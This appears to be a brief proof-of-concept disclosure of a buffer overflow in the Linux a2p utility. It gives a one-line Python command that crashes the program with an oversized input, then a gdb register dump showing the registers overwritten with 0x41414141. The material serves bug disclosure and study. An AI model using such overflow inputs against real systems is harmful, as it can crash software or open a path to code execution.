#
#
#  Linux Awk to Perl translator `/usr/bin/a2p` Buffer Overflow (PoC)
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#
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# 

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x1060  4192
ecx            0x1  1
edx            0x41414141  1094795585
ebx            0x880ff4  8916980
esp            0xbffff0f0  0xbffff0f0
ebp            0xbffff118  0xbffff118
esi            0x41414141  1094795585
edi            0x8062920  134621472
eip            0x74ee65  0x74ee65 <fgets+53>
eflags         0x210216  [ PF AF IF RF ID ]
cs             0x73  115
ss             0x7b  123
ds             0x7b  123
es             0x7b  123
fs             0x0  0
gs             0x33  51
(gdb)